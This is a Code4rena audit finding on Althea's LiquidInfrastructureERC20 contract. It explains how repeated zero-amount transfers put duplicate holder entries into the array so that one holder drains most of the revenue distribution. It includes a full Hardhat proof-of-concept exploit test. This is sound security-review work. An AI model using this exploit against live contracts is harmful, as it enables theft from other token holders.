Platform: Code4rena
Start Date: 13/02/2024
Pot Size: $24,500 USDC
Total HM: 5
Participants: 84
Period: 6 days
Judge: 0xA5DF
Id: 331
League: ETH
Rank: 77/84
Findings: 1
Award: $7.18
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: BowTiedOriole
Also found by: 0x0bserver, 0xAadi, 0xJoyBoy03, 0xlamide, 0xlemon, 0xpiken, Babylen, Breeje, Brenzee, CodeWasp, DanielArmstrong, DarkTower, Fassi_Security, Fitro, Honour, JohnSmith, Krace, MrPotatoMagic, Myrault, ReadyPlayer2, SovaSlava, SpicyMeatball, TheSavageTeddy, Tigerfrake, atoko, cryptphi, csanuragjain, d3e4, gesha17, kinda_very_good, krikolkk, matejdb, max10afternoon, miaowu, n0kto, nuthan2x, parlayan_yildizlar_takimi, peanuts, petro_1912, pontifex, psb01, pynschon, rouhsamad, shaflow2, slippopz, spark, turvy_fuzz, web3pwn, zhaojohnson
7.1828 USDC - $7.18
The LiquidInfrastructureERC20 contract is written in such a way that revenue is gathered from managed LiquidInfrastructureNFTs by the protocol and distributed to token holders on a semi-regular basis. With, Minting and burning of Infra ERC20 restricted if the minimum distribution period has elapsed, and it is reenabled once a new distribution is complete.
However, this does not prevent users from calling the transfer()
or transferFrom()
functions of Infra ERC20 token. This would allow any already approved holder to be able to call any a transfer function, which then makes an internal call of the overriden _beforeTokenTransfer()
, with this call and since balance of Infra ERC20 for the approved holder is zero, the approved holder is added to the holders
array due to no check for a previously added holder in the holders array. Since, there is no check for double entry in the array, the above transfer can be done (n) multiple times for multiple entries to the array with the same holder address, until mint begins.
Now once minting begins for all holders, but contract owner calls mint()
rather than mintAndDistribute()
, the previous holder above gets added to the holders
array once again.
Assume first distribution time is reached, and a calls distribute(n-number-of-distributions)
,such that n-number-of distributions is the amount of entries for the "malicious" holder in the holders array.
With this, the malicious holder would be able to gain the bulk of the revenue from the contract.
https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146
contains the vulnerable logic
mint()
function.distribute()
with argument value 2.The test below is a PoC of the finding:
import chai from "chai"; import { mine } from "@nomicfoundation/hardhat-network-helpers"; import { ethers } from "hardhat"; import { deployContracts, deployERC20A, deployLiquidERC20, deployLiquidNFT, } from "../test-utils"; import { TestERC20A, TestERC20B, TestERC20C, LiquidInfrastructureNFT, LiquidInfrastructureERC20, } from "../typechain-types/contracts"; import { ERC20 } from "../typechain-types/@openzeppelin/contracts/token/ERC20"; import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers"; const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers"); const { expect } = chai; const ZERO_ADDRESS = "0x0000000000000000000000000000000000000000"; const ONE_ETH = 1000000000000000000; // This test makes assertions about the LiquidInfrastructureERC20 contract by running it on hardhat // // Important test details: // Contract interactions happen via hardhat-ethers: https://hardhat.org/hardhat-runner/plugins/nomiclabs-hardhat-ethers // Chai is used to make assertions https://www.chaijs.com/api/bdd/ // Ethereum-waffle is used to extend chai and add ethereum matchers: https://ethereum-waffle.readthedocs.io/en/latest/matchers.html async function liquidErc20Fixture() { const signers = await ethers.getSigners(); const nftAccount1 = signers[0]; const nftAccount2 = signers[1]; const nftAccount3 = signers[2]; const erc20Owner = signers[3]; const holder1 = signers[4]; const holder2 = signers[5]; const holder3 = signers[6]; const holder4 = signers[7]; const badSigner = signers[8]; const nonHolder = signers[9]; // Deploy several ERC20 tokens to use as revenue currencies ////////////////// const { testERC20A, testERC20B, testERC20C } = await deployContracts( erc20Owner ); const erc20Addresses = [ await testERC20A.getAddress(), await testERC20B.getAddress(), await testERC20C.getAddress(), ]; // Deploy the LiquidInfra ERC20 token with no initial holders nor managed NFTs ////////////////// const infraERC20 = await deployLiquidERC20( erc20Owner, "Infra", "INFRA", [], [], 500, erc20Addresses ); expect(await infraERC20.totalSupply()).to.equal(0); expect(await infraERC20.name()).to.equal("Infra"); expect(await infraERC20.symbol()).to.equal("INFRA"); await expect(infraERC20.ManagedNFTs(0)).to.be.reverted; expect(await infraERC20.isApprovedHolder(holder1.address)).to.equal(false); await expect(infraERC20.mint(holder1.address, 1000)).to.be.reverted; expect(await infraERC20.balanceOf(holder1.address)).to.equal(0); return { infraERC20, testERC20A, testERC20B, testERC20C, signers, nftAccount1, nftAccount2, nftAccount3, erc20Owner, holder1, holder2, holder3, holder4, badSigner, nonHolder, }; } export async function transferNftToErc20AndManage( infraERC20: LiquidInfrastructureERC20, nftToManage: LiquidInfrastructureNFT, nftOwner: HardhatEthersSigner ) { const infraAddress = await infraERC20.getAddress(); const accountId = await nftToManage.AccountId(); expect(await nftToManage.transferFrom(nftOwner, infraAddress, accountId)).to .be.ok; expect(await nftToManage.ownerOf(accountId)).to.equal( infraAddress, "unexpected nft owner" ); expect(await infraERC20.addManagedNFT(await nftToManage.getAddress())) .to.emit(infraERC20, "AddManagedNFT") .withArgs(await nftToManage.getAddress()); } async function basicDistributionTests( infraERC20: LiquidInfrastructureERC20, infraERC20Owner: HardhatEthersSigner, holders: HardhatEthersSigner[], nftOwners: HardhatEthersSigner[], nfts: LiquidInfrastructureNFT[], rewardErc20s: ERC20[] ) { const [holder1, holder2, holder3, holder4] = holders.slice(0, 4); const [nftOwner1, nftOwner2, nftOwner3] = nftOwners.slice(0, 3); let [nft1, nft2, nft3] = nfts.slice(0, 3); const [erc20a, erc20b, erc20c] = rewardErc20s.slice(0, 3); const erc20Addresses = [ await erc20a.getAddress(), await erc20b.getAddress(), await erc20c.getAddress(), ]; // Register one NFT as a source of reward erc20s await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1); await mine(1); nft1 = nft1.connect(infraERC20Owner); // Allocate some rewards to the NFT const rewardAmount1 = 1000000; await erc20a.transfer(await nft1.getAddress(), rewardAmount1); expect(await erc20a.balanceOf(await nft1.getAddress())).to.equal( rewardAmount1 ); // And then send the rewards to the ERC20 await expect(infraERC20.withdrawFromAllManagedNFTs()) .to.emit(infraERC20, "WithdrawalStarted") .and.emit(nft1, "SuccessfulWithdrawal") .and.emit(erc20a, "Transfer") .withArgs( await nft1.getAddress(), await infraERC20.getAddress(), rewardAmount1 ) .and.emit(infraERC20, "Withdrawal") .withArgs(await nft1.getAddress()) .and.emit(infraERC20, "WithdrawalFinished"); // Attempt to distribute with no holders await expect(infraERC20.distributeToAllHolders()).to.not.emit( infraERC20, "Distribution" ); console.log("Reward Balance of holder1 before distribution: ", await erc20a.balanceOf(holder1.address)); console.log("Reward Balance of holder4 before distribution: ", await erc20a.balanceOf(holder4.address)); //push holder4 to holders array multiple times before mint const signers = await ethers.getSigners(); const nonHolder = signers[10]; for(let i = 0; i < 2; i++) { await expect(infraERC20.connect(nonHolder).transfer(holder4.address, 0)).to.not.be.reverted; console.log("Transfer zero amount before distribution is successful"); } // Grant a holders 1 and 4 some of the Infra ERC20 tokens and then distribute all held rewards to them //Mint Infra ERC20 token to holder1 await expect(infraERC20.mint(holder1.address, 100)) .to.emit(infraERC20, "Transfer") .withArgs(ZERO_ADDRESS, holder1.address, 100); //mint for holder4 await expect(infraERC20.mint(holder4.address, 100)) .to.emit(infraERC20, "Transfer") .withArgs(ZERO_ADDRESS, holder4.address, 100); //fastforward to MinDistributionPeriod await mine(500); //distribute for 2 distributions (expectation was to distribute to holders 1 and 4) await expect(infraERC20.distribute(2)) .to.emit(infraERC20, "DistributionStarted") .and.emit(infraERC20, "Distribution") .and.emit(erc20a, "Transfer") console.log("Reward Balance of holder1 after distribution: ", await erc20a.balanceOf(holder1.address)); console.log("Reward Balance of holder4 after distribution: ", await erc20a.balanceOf(holder4.address)); // await expect(infraERC20.distributeToAllHolders()).to.be.revertedWith("ERC20: transfer amount exceeds balance"); } describe("An holder can be distributed more rewards than others even with same Infra ERC20 share amount", function () { it("manages distributions (basic)", async function () { const { infraERC20, erc20Owner, testERC20A, testERC20B, testERC20C, nftAccount1, nftAccount2, nftAccount3, holder1, holder2, holder3, holder4, } = await liquidErc20Fixture(); const holders = [holder1, holder2, holder3, holder4]; for (let holder of holders) { const address = holder.address; await expect(infraERC20.approveHolder(address)).to.not.be.reverted; } const nftOwners = [nftAccount1, nftAccount2, nftAccount3]; let nfts: LiquidInfrastructureNFT[] = [ await deployLiquidNFT(nftAccount1), await deployLiquidNFT(nftAccount2), await deployLiquidNFT(nftAccount3), ]; const erc20s: ERC20[] = [testERC20A, testERC20B, testERC20C]; for (const nft of nfts) { nft.setThresholds( erc20s, erc20s.map(() => 0) ); } await basicDistributionTests( infraERC20, erc20Owner, holders, nftOwners, nfts, erc20s ); }); });
Manual
https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L144
in the internal _beforeTokenTransfer()
function.Other
#0 - c4-pre-sort
2024-02-22T05:42:02Z
0xRobocop marked the issue as duplicate of #77
#1 - c4-judge
2024-03-04T13:22:45Z
0xA5DF marked the issue as satisfactory